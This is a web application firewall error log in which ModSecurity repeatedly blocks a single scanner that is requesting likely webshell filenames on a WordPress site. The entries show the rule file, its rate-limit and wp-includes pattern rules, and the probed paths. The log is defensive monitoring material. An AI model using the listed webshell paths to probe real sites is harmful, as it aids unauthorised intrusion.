[Wed Jan 07 00:49:30.935003 2026] [:error] [pid 45959:tid 45972] [client 4.194.99.99:17222] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aV09Glajdn8P3hjgMYxDogAAAUo"]
[Wed Jan 07 00:49:31.475821 2026] [:error] [pid 45959:tid 45965] [client 4.194.99.99:17308] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aV09G1ajdn8P3hjgMYxDpwAAAUM"]
[Wed Jan 07 00:49:32.495345 2026] [:error] [pid 44903:tid 44932] [client 4.194.99.99:17309] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aV09HNhHqjs38zbkQPBbvgAAABc"]
[Wed Jan 07 00:49:33.185752 2026] [:error] [pid 44903:tid 44912] [client 4.194.99.99:17255] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aV09HdhHqjs38zbkQPBbwAAAAAU"]
[Wed Jan 07 00:49:34.492794 2026] [:error] [pid 44905:tid 44989] [client 4.194.99.99:17266] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aV09Hru7ufwWVst9EAstBwAAAJU"]
[Wed Jan 07 00:49:35.767465 2026] [:error] [pid 45959:tid 45962] [client 4.194.99.99:17352] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aV09H1ajdn8P3hjgMYxDsQAAAUA"]
[Wed Jan 07 00:49:37.716579 2026] [:error] [pid 44905:tid 44974] [client 4.194.99.99:17325] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aV09Ibu7ufwWVst9EAstCgAAAIY"]
[Wed Jan 07 00:49:39.417816 2026] [:error] [pid 45959:tid 45982] [client 4.194.99.99:17289] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aV09I1ajdn8P3hjgMYxDtwAAAVQ"]
[Wed Jan 07 00:49:40.242127 2026] [:error] [pid 44905:tid 44976] [client 4.194.99.99:17284] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aV09JLu7ufwWVst9EAstEQAAAIg"]
[Wed Jan 07 00:49:41.473445 2026] [:error] [pid 45012:tid 45016] [client 4.194.99.99:17305] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aV09JRaMAxCuju1d0uZPOwAAAMI"]
[Wed Jan 07 00:49:42.856973 2026] [:error] [pid 44905:tid 44977] [client 4.194.99.99:17175] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aV09Jru7ufwWVst9EAstFwAAAIk"]
[Wed Jan 07 00:49:51.079615 2026] [:error] [pid 45012:tid 45017] [client 4.194.99.99:17249] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aV09LxaMAxCuju1d0uZPXgAAAMM"]
[Wed Jan 07 00:49:52.034207 2026] [:error] [pid 44903:tid 44908] [client 4.194.99.99:17313] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aV09MNhHqjs38zbkQPBb1wAAAAE"]
[Wed Jan 07 00:49:52.677629 2026] [:error] [pid 44903:tid 44919] [client 4.194.99.99:17339] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aV09MNhHqjs38zbkQPBb2AAAAAw"]
[Wed Jan 07 00:49:53.747259 2026] [:error] [pid 45012:tid 45036] [client 4.194.99.99:17380] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aV09MRaMAxCuju1d0uZPYAAAANY"]
[Wed Jan 07 00:49:54.708597 2026] [:error] [pid 44903:tid 44913] [client 4.194.99.99:17344] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV09MthHqjs38zbkQPBb3QAAAAY"]
[Wed Jan 07 00:49:55.779026 2026] [:error] [pid 45012:tid 45030] [client 4.194.99.99:17218] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV09MxaMAxCuju1d0uZPZAAAANA"]
[Wed Jan 07 00:49:56.675782 2026] [:error] [pid 45959:tid 45984] [client 4.194.99.99:17358] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV09NFajdn8P3hjgMYxD2AAAAVY"]
[Wed Jan 07 00:49:57.259594 2026] [:error] [pid 45012:tid 45025] [client 4.194.99.99:17183] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV09NRaMAxCuju1d0uZPaQAAAMs"]
[Wed Jan 07 00:49:57.836266 2026] [:error] [pid 44905:tid 44976] [client 4.194.99.99:17318] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aV09Nbu7ufwWVst9EAstLgAAAIg"]
[Wed Jan 07 00:49:58.618852 2026] [:error] [pid 44904:tid 44955] [client 4.194.99.99:17330] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aV09NjtieuI1BJEZcvd2lwAAAE4"]
[Wed Jan 07 00:49:59.563445 2026] [:error] [pid 35140:tid 35151] [client 4.194.99.99:17248] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aV09N3oQaIDFMbT-XMwSRQAAAQk"]
[Wed Jan 07 00:49:59.936256 2026] [:error] [pid 35140:tid 35149] [client 4.194.99.99:17173] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aV09N3oQaIDFMbT-XMwSRgAAAQc"]
[Wed Jan 07 00:50:00.476022 2026] [:error] [pid 44904:tid 44957] [client 4.194.99.99:17295] [client 4.194.99.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aV09ODtieuI1BJEZcvd2mgAAAFA"]
[Wed Jan 07 00:50:01.344827 2026] [:error] [pid 35140:tid 35142] [client 4.194.99.99:17243] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aV09OXoQaIDFMbT-XMwSTQAAAQA"]
[Wed Jan 07 00:50:02.505691 2026] [:error] [pid 44904:tid 44963] [client 4.194.99.99:17343] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aV09OjtieuI1BJEZcvd2oAAAAFY"]
[Wed Jan 07 00:50:03.620287 2026] [:error] [pid 44903:tid 44932] [client 4.194.99.99:17274] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aV09O9hHqjs38zbkQPBb5wAAABc"]
[Wed Jan 07 00:50:05.102853 2026] [:error] [pid 45959:tid 45973] [client 4.194.99.99:17180] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aV09PVajdn8P3hjgMYxD3QAAAUs"]
[Wed Jan 07 00:50:06.039661 2026] [:error] [pid 44904:tid 44957] [client 4.194.99.99:17322] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aV09PjtieuI1BJEZcvd2qgAAAFA"]
[Wed Jan 07 00:50:07.266651 2026] [:error] [pid 45012:tid 45020] [client 4.194.99.99:17276] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aV09PxaMAxCuju1d0uZPdQAAAMY"]
[Wed Jan 07 00:50:07.980985 2026] [:error] [pid 44903:tid 44912] [client 4.194.99.99:17231] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aV09P9hHqjs38zbkQPBb6wAAAAU"]
[Wed Jan 07 00:50:08.799180 2026] [:error] [pid 44904:tid 44955] [client 4.194.99.99:17310] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aV09QDtieuI1BJEZcvd2uAAAAE4"]
[Wed Jan 07 00:50:09.742483 2026] [:error] [pid 45959:tid 45972] [client 4.194.99.99:17347] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aV09QVajdn8P3hjgMYxD4wAAAUo"]
[Wed Jan 07 00:50:11.026728 2026] [:error] [pid 35140:tid 35165] [client 4.194.99.99:17272] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aV09Q3oQaIDFMbT-XMwSiwAAARc"]
[Wed Jan 07 00:50:11.660680 2026] [:error] [pid 45012:tid 45016] [client 4.194.99.99:17365] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aV09QxaMAxCuju1d0uZPewAAAMI"]
[Wed Jan 07 00:50:13.724111 2026] [:error] [pid 44905:tid 44976] [client 4.194.99.99:17357] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aV09Rbu7ufwWVst9EAstOgAAAIg"]
[Wed Jan 07 00:50:15.397121 2026] [:error] [pid 44905:tid 44986] [client 4.194.99.99:17317] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aV09R7u7ufwWVst9EAstPQAAAJI"]
[Wed Jan 07 00:50:16.344675 2026] [:error] [pid 45012:tid 45020] [client 4.194.99.99:17338] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aV09SBaMAxCuju1d0uZPfwAAAMY"]
[Wed Jan 07 00:50:16.684452 2026] [:error] [pid 45959:tid 45983] [client 4.194.99.99:17089] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aV09SFajdn8P3hjgMYxD9gAAAVU"]
[Wed Jan 07 00:50:17.496077 2026] [:error] [pid 45959:tid 45965] [client 4.194.99.99:17303] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV09SVajdn8P3hjgMYxD_QAAAUM"]
[Wed Jan 07 00:50:18.393435 2026] [:error] [pid 45012:tid 45015] [client 4.194.99.99:17240] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV09ShaMAxCuju1d0uZPhQAAAME"]
[Wed Jan 07 00:50:19.462615 2026] [:error] [pid 35140:tid 35155] [client 4.194.99.99:17323] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV09S3oQaIDFMbT-XMwSkQAAAQ0"]
[Wed Jan 07 00:50:20.577164 2026] [:error] [pid 45012:tid 45032] [client 4.194.99.99:17159] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aV09TBaMAxCuju1d0uZPjAAAANI"]
[Wed Jan 07 00:50:22.034806 2026] [:error] [pid 44905:tid 44971] [client 4.194.99.99:17188] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aV09Tru7ufwWVst9EAstQQAAAIM"]
[Wed Jan 07 00:50:23.401902 2026] [:error] [pid 45012:tid 45028] [client 4.194.99.99:17182] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aV09TxaMAxCuju1d0uZPjgAAAM4"]
[Wed Jan 07 00:50:24.836887 2026] [:error] [pid 44904:tid 44941] [client 4.194.99.99:17157] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aV09UDtieuI1BJEZcvd2xAAAAEA"]
[Wed Jan 07 00:50:26.633476 2026] [:error] [pid 44903:tid 44928] [client 4.194.99.99:17331] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aV09UthHqjs38zbkQPBb9gAAABU"]
[Wed Jan 07 00:50:28.017314 2026] [:error] [pid 45012:tid 45015] [client 4.194.99.99:17161] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aV09VBaMAxCuju1d0uZPkgAAAME"]
[Wed Jan 07 00:50:28.885242 2026] [:error] [pid 44905:tid 44970] [client 4.194.99.99:17306] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aV09VLu7ufwWVst9EAstSQAAAII"]
[Wed Jan 07 00:50:30.370875 2026] [:error] [pid 44905:tid 44978] [client 4.194.99.99:17257] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aV09Vru7ufwWVst9EAstUAAAAIo"]
[Wed Jan 07 00:50:31.266930 2026] [:error] [pid 44905:tid 44988] [client 4.194.99.99:17342] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aV09V7u7ufwWVst9EAstUwAAAJQ"]
[Wed Jan 07 00:50:31.764082 2026] [:error] [pid 45012:tid 45026] [client 4.194.99.99:17132] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV09VxaMAxCuju1d0uZPmAAAAMw"]
[Wed Jan 07 00:50:32.089464 2026] [:error] [pid 44905:tid 44974] [client 4.194.99.99:17251] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV09WLu7ufwWVst9EAstVQAAAIY"]
[Wed Jan 07 00:50:32.656471 2026] [:error] [pid 44905:tid 44976] [client 4.194.99.99:17335] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV09WLu7ufwWVst9EAstVwAAAIg"]
[Wed Jan 07 00:50:33.117361 2026] [:error] [pid 45012:tid 45037] [client 4.194.99.99:17405] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aV09WRaMAxCuju1d0uZPmwAAANc"]
[Wed Jan 07 00:50:33.891420 2026] [:error] [pid 45012:tid 45030] [client 4.194.99.99:17169] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aV09WRaMAxCuju1d0uZPngAAANA"]
